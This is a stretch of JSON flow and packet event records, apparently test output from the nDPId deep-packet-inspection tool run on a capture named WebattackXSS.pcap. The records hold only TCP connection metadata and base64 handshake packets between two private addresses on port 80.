+00444{"flow_id":309,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4385,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347493,"pkt_ts_usec":167378,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4bJdzKzTlF28xqAScSB5WQAAAgQFtAQCCAoD5LqNATrpFwEDAwc="} +00432{"flow_id":309,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4386,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347493,"pkt_ts_usec":168132,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VdNAAD4GcAWsEAABwKgKMuGyAFCUXbzGXcys1IAQAOUYYAAAAQEICgE66RgD5LqN"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4393,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":310,"flow_packet_id":1,"flow_first_seen":1499347494446,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57792,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":310,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4393,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347494,"pkt_ts_usec":446547,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8G1FAAD4Gqn+sEAABwKgKMuHAAFAmKfEGAAAAAKACchB6MQAAAgQFtAQCCAoBOupXAAAAAAEDAwc="} +00444{"flow_id":310,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4394,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347494,"pkt_ts_usec":446686,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4cATAV39JinxB6AScSBKYAAAAgQFtAQCCAoD5LvNATrqVwEDAwc="} +00433{"flow_id":310,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4395,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347494,"pkt_ts_usec":447435,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0G1JAAD4GqoasEAABwKgKMuHAAFAmKfEHEwFd\/oAQAOXpZwAAAQEICgE66lcD5LvN"} +00432{"flow_id":307,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4399,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347494,"pkt_ts_usec":748410,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06OBAAD4G3PesEAABwKgKMuGKAFByXg2zaFlqRoARAOUjvAAAAQEICgE66qMD5Lbh"} +00432{"flow_id":307,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4400,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347494,"pkt_ts_usec":748600,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA01l5AAEAG7XnAqAoyrBAAAQBQ4YpoWWpGcl4NtIARAOMehgAAAQEICgPkvBgBOuqj"} +00432{"flow_id":307,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4401,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347494,"pkt_ts_usec":749389,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06OFAAD4G3PasEAABwKgKMuGKAFByXg20aFlqR4AQAOUehAAAAQEICgE66qMD5LwY"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4405,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":311,"flow_packet_id":1,"flow_first_seen":1499347495714,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57806,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":311,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4405,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347495,"pkt_ts_usec":714214,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ai5AAD4GW6KsEAABwKgKMuHOAFCuqYG6AAAAAKACchBfsgAAAgQFtAQCCAoBOuuUAAAAAAEDAwc="} +00445{"flow_id":311,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4406,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347495,"pkt_ts_usec":714323,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4c4n\/DE+rqmBu6AScSBGaAAAAgQFtAQCCAoD5L0KATrrlAEDAwc="} +00433{"flow_id":311,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4407,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347495,"pkt_ts_usec":715123,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ai9AAD4GW6msEAABwKgKMuHOAFCuqYG7J\/wxP4AQAOXlbwAAAQEICgE665QD5L0K"} +00432{"flow_id":308,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4411,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347495,"pkt_ts_usec":748673,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rodAAD4GF1GsEAABwKgKMuGYAFBT40gi7V45J4ARAOWxoAAAAQEICgE6650D5Lga"} +00432{"flow_id":308,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4412,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347495,"pkt_ts_usec":748941,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hDVAAEAGP6PAqAoyrBAAAQBQ4ZjtXjknU+NII4ARAOOsqQAAAQEICgPkvRIBOuud"} +00432{"flow_id":308,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4413,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347495,"pkt_ts_usec":749659,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rohAAD4GF1CsEAABwKgKMuGYAFBT40gj7V45KIAQAOWspwAAAQEICgE6650D5L0S"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":266,"flow_packet_id":6,"flow_first_seen":1499347421069,"flow_last_seen":1499347426732,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57008,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":266,"flow_packet_id":6,"flow_first_seen":1499347421069,"flow_last_seen":1499347426732,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57008,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":267,"flow_packet_id":6,"flow_first_seen":1499347422332,"flow_last_seen":1499347427732,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57022,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":267,"flow_packet_id":6,"flow_first_seen":1499347422332,"flow_last_seen":1499347427732,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57022,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":6,"flow_first_seen":1499347423604,"flow_last_seen":1499347428732,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57036,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":268,"flow_packet_id":6,"flow_first_seen":1499347423604,"flow_last_seen":1499347428732,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57036,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":269,"flow_packet_id":6,"flow_first_seen":1499347426122,"flow_last_seen":1499347431733,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57062,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":269,"flow_packet_id":6,"flow_first_seen":1499347426122,"flow_last_seen":1499347431733,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57062,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":6,"flow_first_seen":1499347427366,"flow_last_seen":1499347432733,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57076,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":270,"flow_packet_id":6,"flow_first_seen":1499347427366,"flow_last_seen":1499347432733,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57076,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":6,"flow_first_seen":1499347428671,"flow_last_seen":1499347433734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57090,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":271,"flow_packet_id":6,"flow_first_seen":1499347428671,"flow_last_seen":1499347433734,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57090,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":272,"flow_packet_id":6,"flow_first_seen":1499347431192,"flow_last_seen":1499347436733,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57116,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":4414,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":272,"flow_packet_id":6,"flow_first_seen":1499347431192,"flow_last_seen":1499347436733,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57116,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4423,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":312,"flow_packet_id":1,"flow_first_seen":1499347498249,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57832,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":312,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4423,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347498,"pkt_ts_usec":249443,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8LPFAAD4GmN+sEAABwKgKMuHoAFBfF8L\/AAAAAKACchBrawAAAgQFtAQCCAoBOu4OAAAAAAEDAwc="} +00444{"flow_id":312,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4424,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347498,"pkt_ts_usec":249537,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4ejKfeZhXxfDAKAScSD4AgAAAgQFtAQCCAoD5L+DATruDgEDAwc="} +00432{"flow_id":312,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4425,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347498,"pkt_ts_usec":250343,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0LPJAAD4GmOasEAABwKgKMuHoAFBfF8MAyn3mYoAQAOWXCgAAAQEICgE67g4D5L+D"} +00432{"flow_id":309,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4429,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347498,"pkt_ts_usec":749053,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VdRAAD4GcASsEAABwKgKMuGyAFCUXbzGXcys1IARAOUS7AAAAQEICgE67osD5LqN"} +00432{"flow_id":309,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4430,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347498,"pkt_ts_usec":749269,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0bNRAAEAGVwTAqAoyrBAAAQBQ4bJdzKzUlF28x4ARAOMNegAAAQEICgPkwAABOu6L"} +00432{"flow_id":309,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4431,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347498,"pkt_ts_usec":750009,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VdVAAD4GcAOsEAABwKgKMuGyAFCUXbzHXcys1YAQAOUNeAAAAQEICgE67osD5MAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4435,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":313,"flow_packet_id":1,"flow_first_seen":1499347499500,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57846,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":313,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4435,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347499,"pkt_ts_usec":500526,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA82IhAAD4G7UesEAABwKgKMuH2AFAMLDfPAAAAAKACchBIQAAAAgQFtAQCCAoBOu9HAAAAAAEDAwc="} +00444{"flow_id":313,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4436,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347499,"pkt_ts_usec":500660,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4fa1N28pDCw30KAScSBgHQAAAgQFtAQCCAoD5MC8ATrvRwEDAwc="} +00433{"flow_id":313,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4437,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347499,"pkt_ts_usec":501436,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA02IlAAD4G7U6sEAABwKgKMuH2AFAMLDfQtTdvKoAQAOX\/JAAAAQEICgE670cD5MC8"} +00433{"flow_id":310,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4441,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347499,"pkt_ts_usec":748924,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0G1NAAD4GqoWsEAABwKgKMuHAAFAmKfEHEwFd\/oARAOXkOAAAAQEICgE674UD5LvN"} +00432{"flow_id":310,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4442,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347499,"pkt_ts_usec":749136,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nQRAAEAGJtTAqAoyrBAAAQBQ4cATAV3+JinxCIARAOPfDAAAAQEICgPkwPoBOu+F"} +00433{"flow_id":310,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4443,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347499,"pkt_ts_usec":749657,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0G1RAAD4GqoSsEAABwKgKMuHAAFAmKfEIEwFd\/4AQAOXfCgAAAQEICgE674UD5MD6"} +00433{"flow_id":311,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4447,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347500,"pkt_ts_usec":749303,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ajBAAD4GW6isEAABwKgKMuHOAFCuqYG7J\/wxP4ARAOXggwAAAQEICgE68H8D5L0K"} +00435{"flow_id":311,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4448,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347500,"pkt_ts_usec":749492,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA08MtAAEAG0wzAqAoyrBAAAQBQ4c4n\/DE\/rqmBvIARAOPbmgAAAQEICgPkwfQBOvB\/"} +00433{"flow_id":311,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4449,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347500,"pkt_ts_usec":750258,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ajFAAD4GW6esEAABwKgKMuHOAFCuqYG8J\/wxQIAQAOXbmAAAAQEICgE68H8D5MH0"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4450,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":314,"flow_packet_id":1,"flow_first_seen":1499347500770,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57860,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":314,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4450,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347500,"pkt_ts_usec":770126,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8YZZAAD4GZDqsEAABwKgKMuIEAFAvvZESAAAAAKACchDKIAAAAgQFtAQCCAoBOvCEAAAAAAEDAwc="} +00444{"flow_id":314,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4451,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347500,"pkt_ts_usec":770249,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ4gSIcKZ3L72RE6AScSDWOAAAAgQFtAQCCAoD5MH6ATrwhAEDAwc="} +00432{"flow_id":314,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4452,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347500,"pkt_ts_usec":770964,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YZdAAD4GZEGsEAABwKgKMuIEAFAvvZETiHCmeIAQAOV1QAAAAQEICgE68IQD5MH6"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4466,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":315,"flow_packet_id":1,"flow_first_seen":1499347503273,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57886,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 